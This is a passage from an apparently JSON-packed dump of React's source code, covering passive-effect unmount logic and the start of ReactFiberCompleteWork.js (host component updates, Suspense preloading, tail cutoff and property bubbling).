OffscreenComponent: {\n      const instance: OffscreenInstance = finishedWork.stateNode;\n      if (instance._visibility & OffscreenPassiveEffectsConnected) {\n        instance._visibility &= ~OffscreenPassiveEffectsConnected;\n        recursivelyTraverseDisconnectPassiveEffects(finishedWork);\n      } else {\n        // The effects are already disconnected.\n      }\n      break;\n    }\n    default: {\n      recursivelyTraverseDisconnectPassiveEffects(finishedWork);\n      break;\n    }\n  }\n\n  if (\n    enableProfilerTimer &&\n    enableProfilerCommitHooks &&\n    enableComponentPerformanceTrack &&\n    (finishedWork.mode & ProfileMode) !== NoMode &&\n    componentEffectStartTime >= 0 &&\n    componentEffectEndTime >= 0 &&\n    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)\n  ) {\n    logComponentEffect(\n      finishedWork,\n      componentEffectStartTime,\n      componentEffectEndTime,\n      componentEffectDuration,\n      componentEffectErrors,\n    );\n  }\n\n  popComponentEffectStart(prevEffectStart);\n  popComponentEffectDuration(prevEffectDuration);\n  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);\n  popComponentEffectErrors(prevEffectErrors);\n}\n\nfunction commitPassiveUnmountEffectsInsideOfDeletedTree_begin(\n  deletedSubtreeRoot: Fiber,\n  nearestMountedAncestor: Fiber | null,\n) {\n  while (nextEffect !== null) {\n    const fiber = nextEffect;\n\n    // Deletion effects fire in parent -> child order\n    // TODO: Check if fiber has a PassiveStatic flag\n    commitPassiveUnmountInsideDeletedTreeOnFiber(fiber, nearestMountedAncestor);\n\n    const child = fiber.child;\n    // TODO: Only traverse subtree if it has a PassiveStatic flag.\n    if (child !== null) {\n      child.return = fiber;\n      nextEffect = child;\n    } else {\n      commitPassiveUnmountEffectsInsideOfDeletedTree_complete(\n        deletedSubtreeRoot,\n      );\n    }\n  }\n}\n\nfunction commitPassiveUnmountEffectsInsideOfDeletedTree_complete(\n  deletedSubtreeRoot: Fiber,\n) {\n  while (nextEffect !== null) {\n    const fiber = nextEffect;\n    const sibling = fiber.sibling;\n    const returnFiber = fiber.return;\n\n    // Recursively traverse the entire deleted tree and clean up fiber fields.\n    // This is more aggressive than ideal, and the long term goal is to only\n    // have to detach the deleted tree at the root.\n    detachFiberAfterEffects(fiber);\n    if (fiber === deletedSubtreeRoot) {\n      nextEffect = null;\n      return;\n    }\n\n    if (sibling !== null) {\n      sibling.return = returnFiber;\n      nextEffect = sibling;\n      return;\n    }\n\n    nextEffect = returnFiber;\n  }\n}\n\nfunction commitPassiveUnmountInsideDeletedTreeOnFiber(\n  current: Fiber,\n  nearestMountedAncestor: Fiber | null,\n): void {\n  const prevEffectStart = pushComponentEffectStart();\n  const prevEffectDuration = pushComponentEffectDuration();\n  const prevEffectErrors = pushComponentEffectErrors();\n  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();\n  switch (current.tag) {\n    case FunctionComponent:\n    case ForwardRef:\n    case SimpleMemoComponent: {\n      commitHookPassiveUnmountEffects(\n        current,\n        nearestMountedAncestor,\n        HookPassive,\n      );\n      break;\n    }\n    // TODO: run passive unmount effects when unmounting a root.\n    // Because passive unmount effects are not currently run,\n    // the cache instance owned by the root will never be freed.\n    // When effects are run, the cache should be freed here:\n    // case HostRoot: {\n    //   const cache = current.memoizedState.cache;\n    //   releaseCache(cache);\n    //   break;\n    // }\n    case LegacyHiddenComponent:\n    case OffscreenComponent: {\n      if (\n        current.memoizedState !== null &&\n        current.memoizedState.cachePool !== null\n      ) {\n        const cache: Cache = current.memoizedState.cachePool.pool;\n        // Retain/release the cache used for pending (suspended) nodes.\n        // Note that this is only reached in the non-suspended/visible case:\n        // when the content is suspended/hidden, the retain/release occurs\n        // via the parent Suspense component (see case above).\n        if (cache != null) {\n          retainCache(cache);\n        }\n      }\n      break;\n    }\n    case SuspenseComponent: {\n      if (enableTransitionTracing) {\n        // We need to mark this fiber's parents as deleted\n        const offscreenFiber: Fiber = (current.child: any);\n        const instance: OffscreenInstance = offscreenFiber.stateNode;\n        const transitions = instance._transitions;\n        if (transitions !== null) {\n          const abortReason: TransitionAbort = {\n            reason: 'suspense',\n            name: current.memoizedProps.name || null,\n          };\n          if (\n            current.memoizedState === null ||\n            current.memoizedState.dehydrated === null\n          ) {\n            abortParentMarkerTransitionsForDeletedFiber(\n              offscreenFiber,\n              abortReason,\n              transitions,\n              instance,\n              true,\n            );\n\n            if (nearestMountedAncestor !== null) {\n              abortParentMarkerTransitionsForDeletedFiber(\n                nearestMountedAncestor,\n                abortReason,\n                transitions,\n                instance,\n                false,\n              );\n            }\n          }\n        }\n      }\n      break;\n    }\n    case CacheComponent: {\n      const cache = current.memoizedState.cache;\n      releaseCache(cache);\n      break;\n    }\n    case TracingMarkerComponent: {\n      if (enableTransitionTracing) {\n        // We need to mark this fiber's parents as deleted\n        const instance: TracingMarkerInstance = current.stateNode;\n        const transitions = instance.transitions;\n        if (transitions !== null) {\n          const abortReason: TransitionAbort = {\n            reason: 'marker',\n            name: current.memoizedProps.name,\n          };\n          abortParentMarkerTransitionsForDeletedFiber(\n            current,\n            abortReason,\n            transitions,\n            null,\n            true,\n          );\n\n          if (nearestMountedAncestor !== null) {\n            abortParentMarkerTransitionsForDeletedFiber(\n              nearestMountedAncestor,\n              abortReason,\n              transitions,\n              null,\n              false,\n            );\n          }\n        }\n      }\n      break;\n    }\n  }\n\n  if (\n    enableProfilerTimer &&\n    enableProfilerCommitHooks &&\n    enableComponentPerformanceTrack &&\n    (current.mode & ProfileMode) !== NoMode &&\n    componentEffectStartTime >= 0 &&\n    componentEffectEndTime >= 0 &&\n    (componentEffectSpawnedUpdate || componentEffectDuration > 0.05)\n  ) {\n    logComponentEffect(\n      current,\n      componentEffectStartTime,\n      componentEffectEndTime,\n      componentEffectDuration,\n      componentEffectErrors,\n    );\n  }\n\n  popComponentEffectStart(prevEffectStart);\n  popComponentEffectDuration(prevEffectDuration);\n  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);\n  popComponentEffectErrors(prevEffectErrors);\n}\n\nexport function invokeLayoutEffectMountInDEV(fiber: Fiber): void {\n  if (__DEV__) {\n    // We don't need to re-check StrictEffectsMode here.\n    // This function is only called if that check has already passed.\n    switch (fiber.tag) {\n      case FunctionComponent:\n      case ForwardRef:\n      case SimpleMemoComponent: {\n        commitHookEffectListMount(HookLayout | HookHasEffect, fiber);\n        break;\n      }\n      case ClassComponent: {\n        commitClassDidMount(fiber);\n        break;\n      }\n    }\n  }\n}\n\nexport function invokePassiveEffectMountInDEV(fiber: Fiber): void {\n  if (__DEV__) {\n    // We don't need to re-check StrictEffectsMode here.\n    // This function is only called if that check has already passed.\n    switch (fiber.tag) {\n      case FunctionComponent:\n      case ForwardRef:\n      case SimpleMemoComponent: {\n        commitHookEffectListMount(HookPassive | HookHasEffect, fiber);\n        break;\n      }\n    }\n  }\n}\n\nexport function invokeLayoutEffectUnmountInDEV(fiber: Fiber): void {\n  if (__DEV__) {\n    // We don't need to re-check StrictEffectsMode here.\n    // This function is only called if that check has already passed.\n    switch (fiber.tag) {\n      case FunctionComponent:\n      case ForwardRef:\n      case SimpleMemoComponent: {\n        commitHookEffectListUnmount(\n          HookLayout | HookHasEffect,\n          fiber,\n          fiber.return,\n        );\n        break;\n      }\n      case ClassComponent: {\n        const instance = fiber.stateNode;\n        if (typeof instance.componentWillUnmount === 'function') {\n          safelyCallComponentWillUnmount(fiber, fiber.return, instance);\n        }\n        break;\n      }\n    }\n  }\n}\n\nexport function invokePassiveEffectUnmountInDEV(fiber: Fiber): void {\n  if (__DEV__) {\n    // We don't need to re-check StrictEffectsMode here.\n    // This function is only called if that check has already passed.\n    switch (fiber.tag) {\n      case FunctionComponent:\n      case ForwardRef:\n      case SimpleMemoComponent: {\n        commitHookEffectListUnmount(\n          HookPassive | HookHasEffect,\n          fiber,\n          fiber.return,\n        );\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberCompleteWork.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {RootState} from './ReactFiberRoot';\nimport type {Lanes, Lane} from './ReactFiberLane';\nimport type {ReactScopeInstance, ReactContext} from 'shared/ReactTypes';\nimport type {\n  Instance,\n  Type,\n  Props,\n  Container,\n  ChildSet,\n  Resource,\n} from './ReactFiberConfig';\nimport type {ActivityState} from './ReactFiberActivityComponent';\nimport type {\n  SuspenseState,\n  SuspenseListRenderState,\n  RetryQueue,\n} from './ReactFiberSuspenseComponent';\nimport type {\n  OffscreenState,\n  OffscreenQueue,\n} from './ReactFiberOffscreenComponent';\nimport type {TracingMarkerInstance} from './ReactFiberTracingMarkerComponent';\nimport type {Cache} from './ReactFiberCacheComponent';\nimport {\n  enableLegacyHidden,\n  enableSuspenseCallback,\n  enableScopeAPI,\n  enableProfilerTimer,\n  enableTransitionTracing,\n  passChildrenWhenCloningPersistedNodes,\n  disableLegacyMode,\n  enableViewTransition,\n  enableSuspenseyImages,\n} from 'shared/ReactFeatureFlags';\n\nimport {now} from './Scheduler';\n\nimport {\n  FunctionComponent,\n  ClassComponent,\n  HostRoot,\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostText,\n  HostPortal,\n  ContextProvider,\n  ContextConsumer,\n  ForwardRef,\n  Fragment,\n  Mode,\n  Profiler,\n  SuspenseComponent,\n  SuspenseListComponent,\n  MemoComponent,\n  SimpleMemoComponent,\n  LazyComponent,\n  IncompleteClassComponent,\n  IncompleteFunctionComponent,\n  ScopeComponent,\n  OffscreenComponent,\n  LegacyHiddenComponent,\n  CacheComponent,\n  TracingMarkerComponent,\n  Throw,\n  ViewTransitionComponent,\n  ActivityComponent,\n} from './ReactWorkTags';\nimport {\n  NoMode,\n  ConcurrentMode,\n  ProfileMode,\n  SuspenseyImagesMode,\n} from './ReactTypeOfMode';\nimport {\n  Placement,\n  Update,\n  Visibility,\n  NoFlags,\n  DidCapture,\n  Snapshot,\n  ChildDeletion,\n  StaticMask,\n  Passive,\n  ForceClientRender,\n  MaySuspendCommit,\n  ScheduleRetry,\n  ShouldSuspendCommit,\n  Cloned,\n  ViewTransitionStatic,\n  Hydrate,\n  PortalStatic,\n} from './ReactFiberFlags';\n\nimport {\n  createInstance,\n  createTextInstance,\n  resolveSingletonInstance,\n  appendInitialChild,\n  finalizeInitialChildren,\n  finalizeHydratedChildren,\n  supportsMutation,\n  supportsPersistence,\n  supportsResources,\n  supportsSingletons,\n  cloneInstance,\n  cloneHiddenInstance,\n  cloneHiddenTextInstance,\n  createContainerChildSet,\n  appendChildToContainerChildSet,\n  finalizeContainerChildren,\n  preparePortalMount,\n  prepareScopeUpdate,\n  maySuspendCommit,\n  maySuspendCommitOnUpdate,\n  maySuspendCommitInSyncRender,\n  mayResourceSuspendCommit,\n  preloadInstance,\n  preloadResource,\n} from './ReactFiberConfig';\nimport {\n  getRootHostContainer,\n  popHostContext,\n  getHostContext,\n  popHostContainer,\n} from './ReactFiberHostContext';\nimport {\n  suspenseStackCursor,\n  popSuspenseListContext,\n  popSuspenseHandler,\n  pushSuspenseListContext,\n  pushSuspenseListCatch,\n  setShallowSuspenseListContext,\n  ForceSuspenseFallback,\n  setDefaultShallowSuspenseListContext,\n} from './ReactFiberSuspenseContext';\nimport {popHiddenContext} from './ReactFiberHiddenContext';\nimport {findFirstSuspended} from './ReactFiberSuspenseComponent';\nimport {\n  isContextProvider as isLegacyContextProvider,\n  popContext as popLegacyContext,\n  popTopLevelContextObject as popTopLevelLegacyContextObject,\n} from './ReactFiberLegacyContext';\nimport {popProvider} from './ReactFiberNewContext';\nimport {\n  prepareToHydrateHostInstance,\n  prepareToHydrateHostTextInstance,\n  prepareToHydrateHostActivityInstance,\n  prepareToHydrateHostSuspenseInstance,\n  popHydrationState,\n  resetHydrationState,\n  getIsHydrating,\n  upgradeHydrationErrorsToRecoverable,\n  emitPendingHydrationWarnings,\n} from './ReactFiberHydrationContext';\nimport {\n  renderHasNotSuspendedYet,\n  getRenderTargetTime,\n  getWorkInProgressTransitions,\n  shouldRemainOnPreviousScreen,\n  markSpawnedRetryLane,\n} from './ReactFiberWorkLoop';\nimport {\n  OffscreenLane,\n  SomeRetryLane,\n  NoLanes,\n  includesSomeLane,\n  mergeLanes,\n  claimNextRetryLane,\n  includesOnlySuspenseyCommitEligibleLanes,\n} from './ReactFiberLane';\nimport {resetChildFibers} from './ReactChildFiber';\nimport {createScopeInstance} from './ReactFiberScope';\nimport {transferActualDuration} from './ReactProfilerTimer';\nimport {popCacheProvider} from './ReactFiberCacheComponent';\nimport {popTreeContext, pushTreeFork} from './ReactFiberTreeContext';\nimport {popRootTransition, popTransition} from './ReactFiberTransition';\nimport {\n  popMarkerInstance,\n  popRootMarkerInstance,\n} from './ReactFiberTracingMarkerComponent';\nimport {suspendCommit} from './ReactFiberThenable';\nimport type {Flags} from './ReactFiberFlags';\n\n/**\n * Tag the fiber with an update effect. This turns a Placement into\n * a PlacementAndUpdate.\n */\nfunction markUpdate(workInProgress: Fiber) {\n  workInProgress.flags |= Update;\n}\n\n/**\n * Tag the fiber with Cloned in persistent mode to signal that\n * it received an update that requires a clone of the tree above.\n */\nfunction markCloned(workInProgress: Fiber) {\n  if (supportsPersistence) {\n    workInProgress.flags |= Cloned;\n  }\n}\n\n/**\n * In persistent mode, return whether this update needs to clone the subtree.\n */\nfunction doesRequireClone(current: null | Fiber, completedWork: Fiber) {\n  const didBailout = current !== null && current.child === completedWork.child;\n  if (didBailout) {\n    return false;\n  }\n\n  if ((completedWork.flags & ChildDeletion) !== NoFlags) {\n    return true;\n  }\n\n  // TODO: If we move the `doesRequireClone` call after `bubbleProperties`\n  // then we only have to check the `completedWork.subtreeFlags`.\n  let child = completedWork.child;\n  while (child !== null) {\n    const checkedFlags = Cloned | Visibility | Placement | ChildDeletion;\n    if (\n      (child.flags & checkedFlags) !== NoFlags ||\n      (child.subtreeFlags & checkedFlags) !== NoFlags\n    ) {\n      return true;\n    }\n    child = child.sibling;\n  }\n  return false;\n}\n\nfunction appendAllChildren(\n  parent: Instance,\n  workInProgress: Fiber,\n  needsVisibilityToggle: boolean,\n  isHidden: boolean,\n) {\n  if (supportsMutation) {\n    // We only have the top Fiber that was created but we need recurse down its\n    // children to find all the terminal nodes.\n    let node = workInProgress.child;\n    while (node !== null) {\n      if (node.tag === HostComponent || node.tag === HostText) {\n        appendInitialChild(parent, node.stateNode);\n      } else if (\n        node.tag === HostPortal ||\n        (supportsSingletons ? node.tag === HostSingleton : false)\n      ) {\n        // If we have a portal child, then we don't want to traverse\n        // down its children. Instead, we'll get insertions from each child in\n        // the portal directly.\n        // If we have a HostSingleton it will be placed independently\n      } else if (node.child !== null) {\n        node.child.return = node;\n        node = node.child;\n        continue;\n      }\n      if (node === workInProgress) {\n        return;\n      }\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      while (node.sibling === null) {\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        if (node.return === null || node.return === workInProgress) {\n          return;\n        }\n        node = node.return;\n      }\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      node.sibling.return = node.return;\n      node = node.sibling;\n    }\n  } else if (supportsPersistence) {\n    // We only have the top Fiber that was created but we need recurse down its\n    // children to find all the terminal nodes.\n    let node = workInProgress.child;\n    while (node !== null) {\n      if (node.tag === HostComponent) {\n        let instance = node.stateNode;\n        if (needsVisibilityToggle && isHidden) {\n          // This child is inside a timed out tree. Hide it.\n          const props = node.memoizedProps;\n          const type = node.type;\n          instance = cloneHiddenInstance(instance, type, props);\n        }\n        appendInitialChild(parent, instance);\n      } else if (node.tag === HostText) {\n        let instance = node.stateNode;\n        if (needsVisibilityToggle && isHidden) {\n          // This child is inside a timed out tree. Hide it.\n          const text = node.memoizedProps;\n          instance = cloneHiddenTextInstance(instance, text);\n        }\n        appendInitialChild(parent, instance);\n      } else if (node.tag === HostPortal) {\n        // If we have a portal child, then we don't want to traverse\n        // down its children. Instead, we'll get insertions from each child in\n        // the portal directly.\n      } else if (\n        node.tag === OffscreenComponent &&\n        node.memoizedState !== null\n      ) {\n        // The children in this boundary are hidden. Toggle their visibility\n        // before appending.\n        const child = node.child;\n        if (child !== null) {\n          child.return = node;\n        }\n        appendAllChildren(\n          parent,\n          node,\n          /* needsVisibilityToggle */ true,\n          /* isHidden */ true,\n        );\n      } else if (node.child !== null) {\n        node.child.return = node;\n        node = node.child;\n        continue;\n      }\n      if (node === workInProgress) {\n        return;\n      }\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      while (node.sibling === null) {\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        if (node.return === null || node.return === workInProgress) {\n          return;\n        }\n        node = node.return;\n      }\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      node.sibling.return = node.return;\n      node = node.sibling;\n    }\n  }\n}\n\n// An unfortunate fork of appendAllChildren because we have two different parent types.\nfunction appendAllChildrenToContainer(\n  containerChildSet: ChildSet,\n  workInProgress: Fiber,\n  needsVisibilityToggle: boolean,\n  isHidden: boolean,\n): boolean {\n  // Host components that have their visibility toggled by an OffscreenComponent\n  // do not support passChildrenWhenCloningPersistedNodes. To inform the callee\n  // about their presence, we track and return if they were added to the\n  // child set.\n  let hasOffscreenComponentChild = false;\n  if (supportsPersistence) {\n    // We only have the top Fiber that was created but we need recurse down its\n    // children to find all the terminal nodes.\n    let node = workInProgress.child;\n    while (node !== null) {\n      if (node.tag === HostComponent) {\n        let instance = node.stateNode;\n        if (needsVisibilityToggle && isHidden) {\n          // This child is inside a timed out tree. Hide it.\n          const props = node.memoizedProps;\n          const type = node.type;\n          instance = cloneHiddenInstance(instance, type, props);\n        }\n        appendChildToContainerChildSet(containerChildSet, instance);\n      } else if (node.tag === HostText) {\n        let instance = node.stateNode;\n        if (needsVisibilityToggle && isHidden) {\n          // This child is inside a timed out tree. Hide it.\n          const text = node.memoizedProps;\n          instance = cloneHiddenTextInstance(instance, text);\n        }\n        appendChildToContainerChildSet(containerChildSet, instance);\n      } else if (node.tag === HostPortal) {\n        // If we have a portal child, then we don't want to traverse\n        // down its children. Instead, we'll get insertions from each child in\n        // the portal directly.\n      } else if (\n        node.tag === OffscreenComponent &&\n        node.memoizedState !== null\n      ) {\n        // The children in this boundary are hidden. Toggle their visibility\n        // before appending.\n        const child = node.child;\n        if (child !== null) {\n          child.return = node;\n        }\n        appendAllChildrenToContainer(\n          containerChildSet,\n          node,\n          /* needsVisibilityToggle */ true,\n          /* isHidden */ true,\n        );\n\n        hasOffscreenComponentChild = true;\n      } else if (node.child !== null) {\n        node.child.return = node;\n        node = node.child;\n        continue;\n      }\n      node = (node: Fiber);\n      if (node === workInProgress) {\n        return hasOffscreenComponentChild;\n      }\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      while (node.sibling === null) {\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        if (node.return === null || node.return === workInProgress) {\n          return hasOffscreenComponentChild;\n        }\n        node = node.return;\n      }\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      node.sibling.return = node.return;\n      node = node.sibling;\n    }\n  }\n\n  return hasOffscreenComponentChild;\n}\n\nfunction updateHostContainer(current: null | Fiber, workInProgress: Fiber) {\n  if (supportsPersistence) {\n    if (doesRequireClone(current, workInProgress)) {\n      const portalOrRoot: {\n        containerInfo: Container,\n        pendingChildren: ChildSet,\n        ...\n      } = workInProgress.stateNode;\n      const container = portalOrRoot.containerInfo;\n      const newChildSet = createContainerChildSet();\n      // If children might have changed, we have to add them all to the set.\n      appendAllChildrenToContainer(\n        newChildSet,\n        workInProgress,\n        /* needsVisibilityToggle */ false,\n        /* isHidden */ false,\n      );\n      portalOrRoot.pendingChildren = newChildSet;\n      // Schedule an update on the container to swap out the container.\n      markUpdate(workInProgress);\n      finalizeContainerChildren(container, newChildSet);\n    }\n  }\n}\n\nfunction updateHostComponent(\n  current: Fiber,\n  workInProgress: Fiber,\n  type: Type,\n  newProps: Props,\n  renderLanes: Lanes,\n) {\n  if (supportsMutation) {\n    // If we have an alternate, that means this is an update and we need to\n    // schedule a side-effect to do the updates.\n    const oldProps = current.memoizedProps;\n    if (oldProps === newProps) {\n      // In mutation mode, this is sufficient for a bailout because\n      // we won't touch this node even if children changed.\n      return;\n    }\n\n    markUpdate(workInProgress);\n  } else if (supportsPersistence) {\n    const currentInstance = current.stateNode;\n    const oldProps = current.memoizedProps;\n    // If there are no effects associated with this node, then none of our children had any updates.\n    // This guarantees that we can reuse all of them.\n    const requiresClone = doesRequireClone(current, workInProgress);\n    if (!requiresClone && oldProps === newProps) {\n      // No changes, just reuse the existing instance.\n      // Note that this might release a previous clone.\n      workInProgress.stateNode = currentInstance;\n      return;\n    }\n    const currentHostContext = getHostContext();\n\n    let newChildSet = null;\n    let hasOffscreenComponentChild = false;\n    if (requiresClone && passChildrenWhenCloningPersistedNodes) {\n      markCloned(workInProgress);\n      newChildSet = createContainerChildSet();\n      // If children might have changed, we have to add them all to the set.\n      hasOffscreenComponentChild = appendAllChildrenToContainer(\n        newChildSet,\n        workInProgress,\n        /* needsVisibilityToggle */ false,\n        /* isHidden */ false,\n      );\n    }\n\n    const newInstance = cloneInstance(\n      currentInstance,\n      type,\n      oldProps,\n      newProps,\n      !requiresClone,\n      !hasOffscreenComponentChild ? newChildSet : undefined,\n    );\n    if (newInstance === currentInstance) {\n      // No changes, just reuse the existing instance.\n      // Note that this might release a previous clone.\n      workInProgress.stateNode = currentInstance;\n      return;\n    } else {\n      markCloned(workInProgress);\n    }\n\n    // Certain renderers require commit-time effects for initial mount.\n    // (eg DOM renderer supports auto-focus for certain elements).\n    // Make sure such renderers get scheduled for later work.\n    if (\n      finalizeInitialChildren(newInstance, type, newProps, currentHostContext)\n    ) {\n      markUpdate(workInProgress);\n    }\n    workInProgress.stateNode = newInstance;\n    if (\n      requiresClone &&\n      (!passChildrenWhenCloningPersistedNodes || hasOffscreenComponentChild)\n    ) {\n      // If children have changed, we have to add them all to the set.\n      appendAllChildren(\n        newInstance,\n        workInProgress,\n        /* needsVisibilityToggle */ false,\n        /* isHidden */ false,\n      );\n    }\n  }\n}\n\n// This function must be called at the very end of the complete phase, because\n// it might throw to suspend, and if the resource immediately loads, the work\n// loop will resume rendering as if the work-in-progress completed. So it must\n// fully complete.\n// TODO: This should ideally move to begin phase, but currently the instance is\n// not created until the complete phase. For our existing use cases, host nodes\n// that suspend don't have children, so it doesn't matter. But that might not\n// always be true in the future.\nfunction preloadInstanceAndSuspendIfNeeded(\n  workInProgress: Fiber,\n  type: Type,\n  oldProps: null | Props,\n  newProps: Props,\n  renderLanes: Lanes,\n) {\n  const maySuspend =\n    (enableSuspenseyImages ||\n      (workInProgress.mode & SuspenseyImagesMode) !== NoMode) &&\n    (oldProps === null\n      ? maySuspendCommit(type, newProps)\n      : maySuspendCommitOnUpdate(type, oldProps, newProps));\n\n  if (!maySuspend) {\n    // If this flag was set previously, we can remove it. The flag\n    // represents whether this particular set of props might ever need to\n    // suspend. The safest thing to do is for maySuspendCommit to always\n    // return true, but if the renderer is reasonably confident that the\n    // underlying resource won't be evicted, it can return false as a\n    // performance optimization.\n    workInProgress.flags &= ~MaySuspendCommit;\n    return;\n  }\n\n  // Mark this fiber with a flag. This gets set on all host instances\n  // that might possibly suspend, even if they don't need to suspend\n  // currently. We use this when revealing a prerendered tree, because\n  // even though the tree has \"mounted\", its resources might not have\n  // loaded yet.\n  workInProgress.flags |= MaySuspendCommit;\n\n  if (\n    includesOnlySuspenseyCommitEligibleLanes(renderLanes) ||\n    maySuspendCommitInSyncRender(type, newProps)\n  ) {\n    // preload the instance if necessary. Even if this is an urgent render there\n    // could be benefits to preloading early.\n    // @TODO we should probably do the preload in begin work\n    const isReady = preloadInstance(workInProgress.stateNode, type, newProps);\n    if (!isReady) {\n      if (shouldRemainOnPreviousScreen()) {\n        workInProgress.flags |= ShouldSuspendCommit;\n      } else {\n        suspendCommit();\n      }\n    } else {\n      // Even if we're ready we suspend the commit and check again in the pre-commit\n      // phase if we need to suspend anyway. Such as if it's delayed on decoding or\n      // if it was dropped from the cache while rendering due to pressure.\n      workInProgress.flags |= ShouldSuspendCommit;\n    }\n  }\n}\n\nfunction preloadResourceAndSuspendIfNeeded(\n  workInProgress: Fiber,\n  resource: Resource,\n  type: Type,\n  props: Props,\n  renderLanes: Lanes,\n) {\n  // This is a fork of preloadInstanceAndSuspendIfNeeded, but for resources.\n  if (!mayResourceSuspendCommit(resource)) {\n    workInProgress.flags &= ~MaySuspendCommit;\n    return;\n  }\n\n  workInProgress.flags |= MaySuspendCommit;\n\n  const isReady = preloadResource(resource);\n  if (!isReady) {\n    if (shouldRemainOnPreviousScreen()) {\n      workInProgress.flags |= ShouldSuspendCommit;\n    } else {\n      suspendCommit();\n    }\n  }\n}\n\nfunction scheduleRetryEffect(\n  workInProgress: Fiber,\n  retryQueue: RetryQueue | null,\n) {\n  const wakeables = retryQueue;\n  if (wakeables !== null) {\n    // Schedule an effect to attach a retry listener to the promise.\n    // TODO: Move to passive phase\n    workInProgress.flags |= Update;\n  }\n\n  // Check if we need to schedule an immediate retry. This should happen\n  // whenever we unwind a suspended tree without fully rendering its siblings;\n  // we need to begin the retry so we can start prerendering them.\n  //\n  // We also use this mechanism for Suspensey Resources (e.g. stylesheets),\n  // because those don't actually block the render phase, only the commit phase.\n  // So we can start rendering even before the resources are ready.\n  if (workInProgress.flags & ScheduleRetry) {\n    const retryLane =\n      // TODO: This check should probably be moved into claimNextRetryLane\n      // I also suspect that we need some further consolidation of offscreen\n      // and retry lanes.\n      workInProgress.tag !== OffscreenComponent\n        ? claimNextRetryLane()\n        : OffscreenLane;\n    workInProgress.lanes = mergeLanes(workInProgress.lanes, retryLane);\n\n    // Track the lanes that have been scheduled for an immediate retry so that\n    // we can mark them as suspended upon committing the root.\n    markSpawnedRetryLane(retryLane);\n  }\n}\n\nfunction updateHostText(\n  current: Fiber,\n  workInProgress: Fiber,\n  oldText: string,\n  newText: string,\n) {\n  if (supportsMutation) {\n    // If the text differs, mark it as an update. All the work in done in commitWork.\n    if (oldText !== newText) {\n      markUpdate(workInProgress);\n    }\n  } else if (supportsPersistence) {\n    if (oldText !== newText) {\n      // If the text content differs, we'll create a new text instance for it.\n      const rootContainerInstance = getRootHostContainer();\n      const currentHostContext = getHostContext();\n      markCloned(workInProgress);\n      workInProgress.stateNode = createTextInstance(\n        newText,\n        rootContainerInstance,\n        currentHostContext,\n        workInProgress,\n      );\n    } else {\n      workInProgress.stateNode = current.stateNode;\n    }\n  }\n}\n\nfunction cutOffTailIfNeeded(\n  renderState: SuspenseListRenderState,\n  hasRenderedATailFallback: boolean,\n) {\n  if (getIsHydrating()) {\n    // If we're hydrating, we should consume as many items as we can\n    // so we don't leave any behind.\n    return;\n  }\n  switch (renderState.tailMode) {\n    case 'visible': {\n      // Everything should remain as it was.\n      break;\n    }\n    case 'collapsed': {\n      // Any insertions at the end of the tail list after this point\n      // should be invisible. If there are already mounted boundaries\n      // anything before them are not considered for collapsing.\n      // Therefore we need to go through the whole tail to find if\n      // there are any.\n      let tailNode = renderState.tail;\n      let lastTailNode = null;\n      while (tailNode !== null) {\n        if (tailNode.alternate !== null) {\n          lastTailNode = tailNode;\n        }\n        tailNode = tailNode.sibling;\n      }\n      // Next we're simply going to delete all insertions after the\n      // last rendered item.\n      if (lastTailNode === null) {\n        // All remaining items in the tail are insertions.\n        if (!hasRenderedATailFallback && renderState.tail !== null) {\n          // We suspended during the head. We want to show at least one\n          // row at the tail. So we'll keep on and cut off the rest.\n          renderState.tail.sibling = null;\n        } else {\n          renderState.tail = null;\n        }\n      } else {\n        // Detach the insertion after the last node that was already\n        // inserted.\n        lastTailNode.sibling = null;\n      }\n      break;\n    }\n    // Hidden is now the default.\n    case 'hidden':\n    default: {\n      // Any insertions at the end of the tail list after this point\n      // should be invisible. If there are already mounted boundaries\n      // anything before them are not considered for collapsing.\n      // Therefore we need to go through the whole tail to find if\n      // there are any.\n      let tailNode = renderState.tail;\n      let lastTailNode = null;\n      while (tailNode !== null) {\n        if (tailNode.alternate !== null) {\n          lastTailNode = tailNode;\n        }\n        tailNode = tailNode.sibling;\n      }\n      // Next we're simply going to delete all insertions after the\n      // last rendered item.\n      if (lastTailNode === null) {\n        // All remaining items in the tail are insertions.\n        renderState.tail = null;\n      } else {\n        // Detach the insertion after the last node that was already\n        // inserted.\n        lastTailNode.sibling = null;\n      }\n      break;\n    }\n  }\n}\n\nfunction isOnlyNewMounts(tail: Fiber): boolean {\n  let fiber: null | Fiber = tail;\n  while (fiber !== null) {\n    if (fiber.alternate !== null) {\n      return false;\n    }\n    fiber = fiber.sibling;\n  }\n  return true;\n}\n\nfunction bubbleProperties(completedWork: Fiber) {\n  const didBailout =\n    completedWork.alternate !== null &&\n    completedWork.alternate.child === completedWork.child;\n\n  let newChildLanes: Lanes = NoLanes;\n  let subtreeFlags: Flags = NoFlags;\n\n  if (!didBailout) {\n    // Bubble up the earliest expiration time.\n    if (enableProfilerTimer && (completedWork.mode & ProfileMode) !== NoMode) {\n      // In profiling mode, resetChildExpirationTime is also used to reset\n      // profiler durations.\n      let actualDuration = completedWork.actualDuration;\n      let treeBaseDuration = ((completedWork.selfBaseDuration: any): number);\n\n      let child = completedWork.child;\n      while (child !== null) {\n        newChildLanes = mergeLanes(\n          newChildLanes,\n          mergeLanes(child.lanes, child.childLanes),\n        );\n\n        subtreeFlags |= child.subtreeFlags;\n        subtreeFlags |= child.flags;\n\n        // When a fiber is cloned, its actualDuration is reset to 0. This value will\n        // only be 